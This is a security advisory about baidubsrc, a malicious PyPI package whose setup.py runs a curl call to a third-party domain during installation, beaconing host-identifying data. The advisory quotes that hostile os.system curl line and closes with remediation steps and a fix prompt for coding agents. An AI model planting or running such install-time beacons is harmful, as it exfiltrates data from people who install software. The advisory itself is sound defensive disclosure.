# MAL-2026-4809: Malicious code in baidubsrc (PyPI)


- **Type:** Malicious package
- **Package:** `baidubsrc` (PyPI)
- **Published:** 26 May 2026

## What is MAL-2026-4809?

MAL-2026-4809 is a malicious package in baidubsrc, published on 26 May 2026. 

### Official description

setup.py executes `os.system("curl xiangyangt.com/pypi")` unconditionally during `pip install`. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.

During installation, package calls home, and there is no other functionality.

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

## What should I do about MAL-2026-4809?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4809 is a malicious package: baidubsrc (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4809/ (Markdown: https://insights.sbomify.com/MAL-2026-4809/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4809

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4809/
Summaries are generated and may contain mistakes; the official description above is the record.